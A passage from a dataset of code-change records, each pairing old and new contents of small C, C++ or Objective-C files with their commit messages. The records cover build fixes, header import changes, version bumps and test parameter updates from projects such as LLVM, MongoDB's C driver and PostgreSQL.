CrcSpongeBuilder<std::uint8_t >;\n\n}\n\n#endif \/* DRAUPNIR_H__ *\/\n\n","subject":"Use using instead of typedef","message":"Use using instead of typedef\n","lang":"C","license":"agpl-3.0","repos":"mariano-perez-rodriguez\/draupnir"}
{"commit":"212e2ca79c73f0997e06a351f63691d3f2976c15","old_file":"tests\/regression\/10-synch\/24-tid-partitioned-array-global.c","new_file":"tests\/regression\/10-synch\/24-tid-partitioned-array-global.c","old_contents":"\/\/ PARAM:  --enable exp.partition-arrays.enabled\n#include <pthread.h>\n\npthread_t t_ids[10000];\n\nvoid *t_fun(void *arg) {\n  return NULL;\n}\n\nint main(void) {\n  for (int i = 0; i < 10000; i++)\n    pthread_create(&t_ids[i], NULL, t_fun, NULL);\n  for (int i = 0; i < 10000; i++)\n    pthread_join (t_ids[i], NULL);\n  return 0;\n}","new_contents":"\/\/ PARAM: --set ana.activated[+] thread --enable exp.partition-arrays.enabled\n#include <pthread.h>\n\npthread_t t_ids[10000];\n\nvoid *t_fun(void *arg) {\n  return NULL;\n}\n\nint main(void) {\n  for (int i = 0; i < 10000; i++)\n    pthread_create(&t_ids[i], NULL, t_fun, NULL);\n  for (int i = 0; i < 10000; i++)\n    pthread_join (t_ids[i], NULL);\n  return 0;\n}","subject":"Fix missing thread analysis in 10\/24","message":"Fix missing thread analysis in 10\/24\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"23f2dfdefaab0c052c7c1695e53331a7992df5b9","old_file":"include-fixer\/find-all-symbols\/STLPostfixHeaderMap.h","new_file":"include-fixer\/find-all-symbols\/STLPostfixHeaderMap.h","old_contents":"\/\/===-- STLPostfixHeaderMap.h - hardcoded header map for STL ----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_TOOL_STL_POSTFIX_HEADER_MAP_H\n#define LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_TOOL_STL_POSTFIX_HEADER_MAP_H\n\n#include <HeaderMapCollector.h>\n\nnamespace clang {\nnamespace find_all_symbols {\n\nconst HeaderMapCollector::HeaderMap* getSTLPostfixHeaderMap();\n\n} \/\/ namespace find_all_symbols\n} \/\/ namespace clang\n\n#endif \/\/ LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_TOOL_STL_POSTFIX_HEADER_MAP_H\n","new_contents":"\/\/===-- STLPostfixHeaderMap.h - hardcoded header map for STL ----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_TOOL_STL_POSTFIX_HEADER_MAP_H\n#define LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_TOOL_STL_POSTFIX_HEADER_MAP_H\n\n#include \"HeaderMapCollector.h\"\n\nnamespace clang {\nnamespace find_all_symbols {\n\nconst HeaderMapCollector::HeaderMap* getSTLPostfixHeaderMap();\n\n} \/\/ namespace find_all_symbols\n} \/\/ namespace clang\n\n#endif \/\/ LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_TOOL_STL_POSTFIX_HEADER_MAP_H\n","subject":"Include local header with quotes instead of angle brackets.","message":"Include local header with quotes instead of angle brackets.\n\nThis works by accident because we pass '-I.'\n\ngit-svn-id: a34e9779ed74578ad5922b3306b3d80a0c825546@270701 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra"}
{"commit":"1ca440467863ff2daa0234b36401706872391e6a","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       9\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       9\n#define CLIENT_VERSION_REVISION    1\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Bump version for openssl security updates","message":"Bump version for openssl security updates\n","lang":"C","license":"mit","repos":"CatcoinOfficial\/CatcoinRelease,CatcoinOfficial\/CatcoinRelease,CatcoinOfficial\/CatcoinRelease,CatcoinOfficial\/CatcoinRelease,CatcoinOfficial\/CatcoinRelease"}
{"commit":"724948b4d891a91e2912497c1a3e544543b501b1","old_file":"src\/mongoc\/mongoc-iovec.h","new_file":"src\/mongoc\/mongoc-iovec.h","old_contents":"\/*\n * Copyright 2014 MongoDB, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\n#ifndef MONGOC_IOVEC_H\n#define MONGOC_IOVEC_H\n\n\n#include <bson.h>\n\n#ifndef _WIN32\n# include <sys\/uio.h>\n#endif\n\n\nBSON_BEGIN_DECLS\n\n\n#ifdef _WIN32\ntypedef struct\n{\n   u_long  iov_len;\n   char   *iov_base;\n} mongoc_iovec_t;\n#else\ntypedef struct iovec mongoc_iovec_t;\n#endif\n\n\nBSON_END_DECLS\n\n\n#endif \/* MONGOC_IOVEC_H *\/\n","new_contents":"\/*\n * Copyright 2014 MongoDB, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\n#ifndef MONGOC_IOVEC_H\n#define MONGOC_IOVEC_H\n\n\n#include <bson.h>\n\n#ifdef _WIN32\n# include <stddef.h>\n#else\n# include <sys\/uio.h>\n#endif\n\nBSON_BEGIN_DECLS\n\n\n#ifdef _WIN32\ntypedef struct\n{\n   u_long  iov_len;\n   char   *iov_base;\n} mongoc_iovec_t;\n\nBSON_STATIC_ASSERT(sizeof(mongoc_iovec_t) == sizeof(WSABUF));\nBSON_STATIC_ASSERT(offsetof(mongoc_iovec_t, iov_base) == offsetof(WSABUF, buf));\nBSON_STATIC_ASSERT(offsetof(mongoc_iovec_t, iov_len) == offsetof(WSABUF, len));\n\n#else\ntypedef struct iovec mongoc_iovec_t;\n#endif\n\n\nBSON_END_DECLS\n\n\n#endif \/* MONGOC_IOVEC_H *\/\n","subject":"Make sure our iovec abstraction is compatible with Windows WSABUF","message":"CDRIVER-756: Make sure our iovec abstraction is compatible with Windows WSABUF\n\nWe cast mongoc_iovec_t to LPWSABUF in our sendmsg() wrapper\n","lang":"C","license":"apache-2.0","repos":"ajdavis\/mongo-c-driver,rcsanchez97\/mongo-c-driver,acmorrow\/mongo-c-driver,ajdavis\/mongo-c-driver,rcsanchez97\/mongo-c-driver,derickr\/mongo-c-driver,christopherjwang\/mongo-c-driver,christopherjwang\/mongo-c-driver,jmikola\/mongo-c-driver,derickr\/mongo-c-driver,jmikola\/mongo-c-driver,acmorrow\/mongo-c-driver,beingmeta\/mongo-c-driver,derickr\/mongo-c-driver,remicollet\/mongo-c-driver,malexzx\/mongo-c-driver,mongodb\/mongo-c-driver,rcsanchez97\/mongo-c-driver,derickr\/mongo-c-driver,mschoenlaub\/mongo-c-driver,ksuarz\/mongo-c-driver,remicollet\/mongo-c-driver,remicollet\/mongo-c-driver,jmikola\/mongo-c-driver,ac000\/mongo-c-driver,acmorrow\/mongo-c-driver,ksuarz\/mongo-c-driver,rcsanchez97\/mongo-c-driver,derickr\/mongo-c-driver,acmorrow\/mongo-c-driver,ajdavis\/mongo-c-driver,ac000\/mongo-c-driver,bjori\/mongo-c-driver,beingmeta\/mongo-c-driver,ajdavis\/mongo-c-driver,bjori\/mongo-c-driver,beingmeta\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,ajdavis\/mongo-c-driver,beingmeta\/mongo-c-driver,acmorrow\/mongo-c-driver,rcsanchez97\/mongo-c-driver,jmikola\/mongo-c-driver,Machyne\/mongo-c-driver,bjori\/mongo-c-driver,remicollet\/mongo-c-driver,Machyne\/mongo-c-driver,malexzx\/mongo-c-driver,beingmeta\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,rcsanchez97\/mongo-c-driver,u2yg\/mongo-c-driver,mongodb\/mongo-c-driver,bjori\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,remicollet\/mongo-c-driver,mongodb\/mongo-c-driver,ajdavis\/mongo-c-driver,ksuarz\/mongo-c-driver,ksuarz\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,beingmeta\/mongo-c-driver,mschoenlaub\/mongo-c-driver,bjori\/mongo-c-driver,christopherjwang\/mongo-c-driver,u2yg\/mongo-c-driver,mschoenlaub\/mongo-c-driver,jmikola\/mongo-c-driver,Machyne\/mongo-c-driver,derickr\/mongo-c-driver,remicollet\/mongo-c-driver,u2yg\/mongo-c-driver,mongodb\/mongo-c-driver,mongodb\/mongo-c-driver,acmorrow\/mongo-c-driver,rcsanchez97\/mongo-c-driver,bjori\/mongo-c-driver,ac000\/mongo-c-driver,derickr\/mongo-c-driver,u2yg\/mongo-c-driver,mongodb\/mongo-c-driver,malexzx\/mongo-c-driver,bjori\/mongo-c-driver,mschoenlaub\/mongo-c-driver,malexzx\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,remicollet\/mongo-c-driver,ajdavis\/mongo-c-driver,jmikola\/mongo-c-driver,beingmeta\/mongo-c-driver,Machyne\/mongo-c-driver,acmorrow\/mongo-c-driver,mongodb\/mongo-c-driver,beingmeta\/mongo-c-driver,christopherjwang\/mongo-c-driver,jmikola\/mongo-c-driver"}
{"commit":"f639faedd1daf285559fea44fc00190a668cec32","old_file":"src2\/BeaconMapper.h","new_file":"src2\/BeaconMapper.h","old_contents":"\/\/\n\/\/ Created by Scott Stark on 6\/12\/15.\n\/\/\n\n#ifndef NATIVESCANNER_BEACONMAPPER_H\n#define NATIVESCANNER_BEACONMAPPER_H\n\n#include <map>\n#include <string>\n\nusing namespace std;\n\n\/**\n * Map a beacon id to the registered user by querying the application registration rest api\n *\/\nclass BeaconMapper {\nprivate:\n    map<int, string> beaconToUser;\n\npublic:\n    \/**\n     * Query the current user registrations to update the beacon minorID to name mappings\n     *\/\n    void refresh();\n\n    string lookupUser(int minorID);\n};\n\n\n#endif \/\/NATIVESCANNER_BEACONMAPPER_H\n","new_contents":"\/\/\n\/\/ Created by Scott Stark on 6\/12\/15.\n\/\/\n\n#ifndef NATIVESCANNER_BEACONMAPPER_H\n#define NATIVESCANNER_BEACONMAPPER_H\n\n#include <map>\n#include <string>\n\nusing namespace std;\n\n\/**\n * Map a beacon id to the registered user by querying the application registration rest api\n *\n * Relies on:\n * git clone https:\/\/github.com\/open-source-parsers\/jsoncpp.git\n * cd jsoncpp\/\n * mkdir build\n * cd build\/\n * cmake -DCMAKE_BUILD_TYPE=debug -DBUILD_STATIC_LIBS=ON ..\n * make\n * make install\n *\n * git clone https:\/\/github.com\/mrtazz\/restclient-cpp.git\n * apt-get install autoconf\n * apt-get install libtool\n * apt-get install libcurl4-openssl-dev\n * cd restclient-cpp\/\n * .\/autogen.sh\n * .\/configure\n * make\n * make install\n *\/\nclass BeaconMapper {\nprivate:\n    map<int, string> beaconToUser;\n\npublic:\n    \/**\n     * Query the current user registrations to update the beacon minorID to name mappings\n     *\/\n    void refresh();\n\n    string lookupUser(int minorID);\n};\n\n\n#endif \/\/NATIVESCANNER_BEACONMAPPER_H\n","subject":"Document full requirements for the beacon mapper","message":"Document full requirements for the beacon mapper\n","lang":"C","license":"apache-2.0","repos":"starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser"}
{"commit":"a93d837aae8610045a7883ee60017d71917aa6a4","old_file":"test\/unit\/event_fixture.h","new_file":"test\/unit\/event_fixture.h","old_contents":"","new_contents":"#ifndef VAST_TEST_UNIT_EVENT_FIXTURE_H\n#define VAST_TEST_UNIT_EVENT_FIXTURE_H\n\n#include <vector>\n#include \"vast\/event.h\"\n\nstruct event_fixture\n{\n  event_fixture();\n  std::vector<vast::event> events;\n};\n\n#endif\n","subject":"Add missing event fixture file.","message":"Add missing event fixture file.\n","lang":"C","license":"bsd-3-clause","repos":"vast-io\/vast,pmos69\/vast,pmos69\/vast,mavam\/vast,vast-io\/vast,mavam\/vast,vast-io\/vast,vast-io\/vast,mavam\/vast,vast-io\/vast,pmos69\/vast,mavam\/vast,pmos69\/vast"}
{"commit":"69ec185fd5de8c133808a5aeec5b0435a3d2025e","old_file":"RNSketch\/RNSketchManager.h","new_file":"RNSketch\/RNSketchManager.h","old_contents":"\/\/\n\/\/  RNSketchManager.m\n\/\/  RNSketch\n\/\/\n\/\/  Created by Jeremy Grancher on 28\/04\/2016.\n\/\/  Copyright © 2016 Jeremy Grancher. All rights reserved.\n\/\/\n\n#import \"RCTViewManager.h\"\n#import \"RNSketch.h\"\n\n@interface RNSketchManager : RCTViewManager\n\n@property (strong) RNSketch *sketchView;\n\n@end;\n","new_contents":"\/\/\n\/\/  RNSketchManager.m\n\/\/  RNSketch\n\/\/\n\/\/  Created by Jeremy Grancher on 28\/04\/2016.\n\/\/  Copyright © 2016 Jeremy Grancher. All rights reserved.\n\/\/\n\n#if __has_include(<React\/RCTViewManager.h>)\n\/\/ React Native >= 0.40\n#import <React\/RCTViewManager.h>\n#else\n\/\/ React Native <= 0.39\n#import \"RCTViewManager.h\"\n#endif\n#import \"RNSketch.h\"\n\n@interface RNSketchManager : RCTViewManager\n\n@property (strong) RNSketch *sketchView;\n\n@end;\n","subject":"Support RN 0.40 headers while retaining backwards compatibility.","message":"Support RN 0.40 headers while retaining backwards compatibility.\n\nUse #if to conditionally import React headers.","lang":"C","license":"mit","repos":"jgrancher\/react-native-sketch"}
{"commit":"37429be0d50a7a8d9b5ea34346613410a89c8c53","old_file":"Reducers\/REDIterable.h","new_file":"Reducers\/REDIterable.h","old_contents":"\/\/  Copyright (c) 2014 Rob Rix. All rights reserved.\n\n#import <Foundation\/Foundation.h>\n\n@protocol REDIterable <NSObject>\n\n@property (readonly) id(^red_iterator)(void);\n\n@end\n","new_contents":"\/\/  Copyright (c) 2014 Rob Rix. All rights reserved.\n\n#import <Foundation\/Foundation.h>\n\n\/\/\/ A nullary block iterating the elements of a collection over successive calls.\n\/\/\/\n\/\/\/ \\return The next object in the collection, or nil if it has iterated the entire collection.\ntypedef id (^REDIteratingBlock)(void);\n\n\/\/\/ A collection which can be iterated.\n@protocol REDIterable <NSObject>\n\n\/\/\/ An iterator for this collection.\n@property (readonly) REDIteratingBlock red_iterator;\n\n@end\n","subject":"Add a typedef for iterators.","message":"Add a typedef for iterators.\n","lang":"C","license":"mit","repos":"policp\/Reducers,robrix\/Reducers"}
{"commit":"d086430fdd5b4cf3cc168b794ac823629994fc18","old_file":"test\/pragma\/both.c","new_file":"test\/pragma\/both.c","old_contents":"\/\/ RUN: %check %s\n\n#pragma STDC FENV_ACCESS on\n_Pragma(\"STDC FENV_ACCESS on\"); \/\/ CHECK: warning: unhandled STDC pragma\n\/\/ CHECK: ^warning: extra ';' at global scope\n\n\n#define LISTING(x) PRAGMA(listing on #x)\n#define PRAGMA(x) _Pragma(#x)\n\nLISTING(..\/listing) \/\/ CHECK: warning: unknown pragma 'listing on \"..\/listing\"'\n\n\n_Pragma(L\"STDC CX_LIMITED_RANGE off\") \/\/ CHECK: warning: unhandled STDC pragma\n\/\/ CHECK: ^!\/warning: extra ';'\/\n\n#pragma STDC FP_CONTRACT off\n\nmain()\n{\n}\n","new_contents":"\/\/ RUN: %check %s\n\n#pragma STDC FENV_ACCESS ON\n_Pragma(\"STDC FENV_ACCESS ON\"); \/\/ CHECK: warning: unhandled STDC pragma\n\/\/ CHECK: ^warning: extra ';' at global scope\n\n\n#define LISTING(x) PRAGMA(listing on #x)\n#define PRAGMA(x) _Pragma(#x)\n\nLISTING(..\/listing) \/\/ CHECK: warning: unknown pragma 'listing on \"..\/listing\"'\n\n\n_Pragma(L\"STDC CX_LIMITED_RANGE OFF\") \/\/ CHECK: warning: unhandled STDC pragma\n\/\/ CHECK: ^!\/warning: extra ';'\/\n\n#pragma STDC FP_CONTRACT OFF\n\nint main()\n{\n}\n","subject":"Correct case of STDC pragmas","message":"Correct case of STDC pragmas\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"e43162ceeb46ef215c9a5215b36b01f695eca60e","old_file":"ios\/KCKeepAwake.h","new_file":"ios\/KCKeepAwake.h","old_contents":"#import \"RCTBridgeModule.h\"\n\n@interface KCKeepAwake : NSObject <RCTBridgeModule>\n@end\n","new_contents":"#import <React\/RCTBridgeModule.h>\n\n@interface KCKeepAwake : NSObject <RCTBridgeModule>\n@end\n","subject":"Correct import path to match RN 0.40","message":"Correct import path to match RN 0.40\n","lang":"C","license":"mit","repos":"corbt\/react-native-keep-awake,corbt\/react-native-keep-awake,corbt\/react-native-keep-awake"}
{"commit":"2d6cf0686fb211408a6f5ed96ac5341f1c486aaa","old_file":"kremlib\/kremstr.c","new_file":"kremlib\/kremstr.c","old_contents":"#include \"kremlib.h\"\n#include \"kremstr.h\"\n\n\/******************************************************************************\/\n\/* Implementation of FStar.String and FStar.HyperIO                           *\/\n\/******************************************************************************\/\n\n\/* FStar.h is generally kept for the program we wish to compile, meaning that\n * FStar.h contains extern declarations for the functions below. This provides\n * their implementation, and since the function prototypes are already in\n * FStar.h, we don't need to put these in the header, they will be resolved at\n * link-time. *\/\n\nPrims_nat FStar_String_strlen(Prims_string s) {\n  return strlen(s);\n}\n\nPrims_string FStar_String_strcat(Prims_string s0, Prims_string s1) {\n  char *dest = calloc(strlen(s0) + strlen(s1) + 1, 1);\n  strcat(dest, s0);\n  strcat(dest, s1);\n  return (Prims_string)dest;\n}\n\nPrims_string Prims_strcat(Prims_string s0, Prims_string s1) {\n  return FStar_String_strcat(s0, s1);\n}\n\nvoid FStar_IO_debug_print_string(Prims_string s) {\n  printf(\"%s\", s);\n}\n\nbool __eq__Prims_string(Prims_string s1, Prims_string s2) {\n  return (strcmp(s1, s2) == 0);\n}\n","new_contents":"#include \"kremlib.h\"\n#include \"kremstr.h\"\n\n\/******************************************************************************\/\n\/* Implementation of FStar.String and FStar.HyperIO                           *\/\n\/******************************************************************************\/\n\n\/* FStar.h is generally kept for the program we wish to compile, meaning that\n * FStar.h contains extern declarations for the functions below. This provides\n * their implementation, and since the function prototypes are already in\n * FStar.h, we don't need to put these in the header, they will be resolved at\n * link-time. *\/\n\nPrims_nat FStar_String_strlen(Prims_string s) {\n  return strlen(s);\n}\n\nPrims_string FStar_String_strcat(Prims_string s0, Prims_string s1) {\n  char *dest = calloc(strlen(s0) + strlen(s1) + 1, 1);\n  strcat(dest, s0);\n  strcat(dest, s1);\n  return (Prims_string)dest;\n}\n\nPrims_string Prims_strcat(Prims_string s0, Prims_string s1) {\n  return FStar_String_strcat(s0, s1);\n}\n\nvoid FStar_HyperStack_IO_print_string(Prims_string s) {\n  printf(\"%s\", s);\n}\n\nvoid FStar_IO_debug_print_string(Prims_string s) {\n  printf(\"%s\", s);\n}\n\nbool __eq__Prims_string(Prims_string s1, Prims_string s2) {\n  return (strcmp(s1, s2) == 0);\n}\n","subject":"Revert \"Try to catch up on upstream F* changes\"","message":"Revert \"Try to catch up on upstream F* changes\"\n\nThis reverts commit 5b09f1f43b155df40caa8d8716075ccd7d08af26.\n","lang":"C","license":"apache-2.0","repos":"FStarLang\/kremlin,FStarLang\/kremlin,FStarLang\/kremlin,FStarLang\/kremlin"}
{"commit":"57ca28bb8d019266a16ff18a87d71f12b59224b5","old_file":"src\/exercise112.c","new_file":"src\/exercise112.c","old_contents":"\/*\n * A solution to Exercise 1-12 in The C Programming Language (Second Edition).\n *\n * This file was written by Damien Dart <damiendart@pobox.com>. This is free\n * and unencumbered software released into the public domain. For more\n * information, please refer to the accompanying \"UNLICENCE\" file.\n *\/\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(void)\n{\n  int16_t character = 0;\n  bool in_whitespace = false;\n  while ((character = getchar()) != EOF) {\n    if ((character == ' ') || (character == '\\t')) {\n      if (in_whitespace == false) {\n        putchar('\\n');\n        in_whitespace = true;\n      }\n    } else {\n      putchar(character);\n      in_whitespace = false;\n    }\n  }\n  return EXIT_SUCCESS;\n}\n","new_contents":"\/*\n * A solution to Exercise 1-12 in The C Programming Language (Second Edition).\n *\n * This file was written by Damien Dart <damiendart@pobox.com>. This is free\n * and unencumbered software released into the public domain. For more\n * information, please refer to the accompanying \"UNLICENCE\" file.\n *\/\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(void)\n{\n  int16_t character = 0;\n  bool in_whitespace = false;\n  while ((character = getchar()) != EOF) {\n    if ((character == ' ') || (character == '\\t' || character == '\\n')) {\n      if (in_whitespace == false) {\n        putchar('\\n');\n        in_whitespace = true;\n      }\n    } else {\n      putchar(character);\n      in_whitespace = false;\n    }\n  }\n  return EXIT_SUCCESS;\n}\n","subject":"Fix solution to Exercise 1-12.","message":"Fix solution to Exercise 1-12.\n\nFix solution to Exercise 1-12 so that newline characters are processed correctly.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"f4c69c820550a352cb123bfb0b16c33c659a4ca6","old_file":"src\/timezone\/pgtz.c","new_file":"src\/timezone\/pgtz.c","old_contents":"\/*-------------------------------------------------------------------------\n *\n * pgtz.c\n *\t  Timezone Library Integration Functions\n *\n * Portions Copyright (c) 1996-2003, PostgreSQL Global Development Group\n *\n * IDENTIFICATION\n *\t  $PostgreSQL: pgsql\/src\/timezone\/pgtz.c,v 1.5 2004\/05\/01 01:38:53 momjian Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n\n#include \"pgtz.h\"\n#include \"tzfile.h\"\n\n\nstatic char tzdir[MAXPGPATH];\nstatic int\tdone_tzdir = 0;\nchar *\npg_TZDIR(void)\n{\n\tchar\t   *p;\n\n\tif (done_tzdir)\n\t\treturn tzdir;\n\n#ifndef WIN32\n\tStrNCpy(tzdir, PGDATADIR, MAXPGPATH);\n#else\n\tif (GetModuleFileName(NULL, tzdir, MAXPGPATH) == 0)\n\t\treturn NULL;\n#endif\n\n\tcanonicalize_path(tzdir);\n#if 0\n\tif ((p = last_path_separator(tzdir)) == NULL)\n\t\treturn NULL;\n\telse\n\t\t*p = '\\0';\n#endif\n\n\tstrcat(tzdir, \"\/timezone\");\n\n\tdone_tzdir = 1;\n\treturn tzdir;\n}\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * pgtz.c\n *\t  Timezone Library Integration Functions\n *\n * Portions Copyright (c) 1996-2003, PostgreSQL Global Development Group\n *\n * IDENTIFICATION\n *\t  $PostgreSQL: pgsql\/src\/timezone\/pgtz.c,v 1.6 2004\/05\/01 22:07:03 momjian Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n\n#include \"pgtz.h\"\n#include \"tzfile.h\"\n\n\nstatic char tzdir[MAXPGPATH];\nstatic int\tdone_tzdir = 0;\nchar *\npg_TZDIR(void)\n{\n\tchar\t   *p;\n\n\tif (done_tzdir)\n\t\treturn tzdir;\n\n#ifndef WIN32\n\tStrNCpy(tzdir, PGDATADIR, MAXPGPATH);\n#else\n\tif (GetModuleFileName(NULL, tzdir, MAXPGPATH) == 0)\n\t\treturn NULL;\n#endif\n\n\tcanonicalize_path(tzdir);\n#ifdef WIN32\n\t\/* trim off binary name, then go up a directory *\/\n\tif ((p = last_path_separator(tzdir)) == NULL)\n\t\treturn NULL;\n\telse\n\t\t*p = '\\0';\n\tstrcat(tzdir, \"\/..\/share\/timezone\");\n#endif\n\tstrcat(tzdir, \"\/timezone\");\n\n\n\tdone_tzdir = 1;\n\treturn tzdir;\n}\n","subject":"Fix timezone data path for Unix and win32.","message":"Fix timezone data path for Unix and win32.\n","lang":"C","license":"apache-2.0","repos":"yuanzhao\/gpdb,atris\/gpdb,kmjungersen\/PostgresXL,zeroae\/postgres-xl,yuanzhao\/gpdb,jmcatamney\/gpdb,50wu\/gpdb,yuanzhao\/gpdb,rubikloud\/gpdb,rvs\/gpdb,lpetrov-pivotal\/gpdb,techdragon\/Postgres-XL,yuanzhao\/gpdb,Postgres-XL\/Postgres-XL,lisakowen\/gpdb,CraigHarris\/gpdb,kaknikhil\/gpdb,lintzc\/gpdb,rubikloud\/gpdb,janebeckman\/gpdb,lintzc\/gpdb,Chibin\/gpdb,janebeckman\/gpdb,50wu\/gpdb,Quikling\/gpdb,ashwinstar\/gpdb,Postgres-XL\/Postgres-XL,foyzur\/gpdb,chrishajas\/gpdb,cjcjameson\/gpdb,janebeckman\/gpdb,lintzc\/gpdb,foyzur\/gpdb,techdragon\/Postgres-XL,xinzweb\/gpdb,ashwinstar\/gpdb,rubikloud\/gpdb,atris\/gpdb,edespino\/gpdb,kaknikhil\/gpdb,edespino\/gpdb,lpetrov-pivotal\/gpdb,0x0FFF\/gpdb,atris\/gpdb,kaknikhil\/gpdb,xuegang\/gpdb,rvs\/gpdb,xinzweb\/gpdb,edespino\/gpdb,zeroae\/postgres-xl,adam8157\/gpdb,Postgres-XL\/Postgres-XL,xinzweb\/gpdb,lpetrov-pivotal\/gpdb,foyzur\/gpdb,royc1\/gpdb,0x0FFF\/gpdb,randomtask1155\/gpdb,tpostgres-projects\/tPostgres,yuanzhao\/gpdb,chrishajas\/gpdb,jmcatamney\/gpdb,arcivanov\/postgres-xl,ahachete\/gpdb,randomtask1155\/gpdb,Quikling\/gpdb,royc1\/gpdb,xuegang\/gpdb,edespino\/gpdb,janebeckman\/gpdb,greenplum-db\/gpdb,CraigHarris\/gpdb,xinzweb\/gpdb,snaga\/postgres-xl,ovr\/postgres-xl,ashwinstar\/gpdb,chrishajas\/gpdb,adam8157\/gpdb,xuegang\/gpdb,yazun\/postgres-xl,tangp3\/gpdb,edespino\/gpdb,ovr\/postgres-xl,edespino\/gpdb,atris\/gpdb,rvs\/gpdb,chrishajas\/gpdb,cjcjameson\/gpdb,0x0FFF\/gpdb,CraigHarris\/gpdb,chrishajas\/gpdb,cjcjameson\/gpdb,arcivanov\/postgres-xl,pavanvd\/postgres-xl,yuanzhao\/gpdb,rubikloud\/gpdb,greenplum-db\/gpdb,greenplum-db\/gpdb,xuegang\/gpdb,ahachete\/gpdb,jmcatamney\/gpdb,tangp3\/gpdb,CraigHarris\/gpdb,rubikloud\/gpdb,edespino\/gpdb,cjcjameson\/gpdb,randomtask1155\/gpdb,0x0FFF\/gpdb,kmjungersen\/PostgresXL,rvs\/gpdb,yuanzhao\/gpdb,yazun\/postgres-xl,ashwinstar\/gpdb,zeroae\/postgres-xl,Chibin\/gpdb,ahachete\/gpdb,cjcjameson\/gpdb,randomtask1155\/gpdb,pavanvd\/postgres-xl,lpetrov-pivotal\/gpdb,randomtask1155\/gpdb,techdragon\/Postgres-XL,ovr\/postgres-xl,chrishajas\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,pavanvd\/postgres-xl,tpostgres-projects\/tPostgres,lpetrov-pivot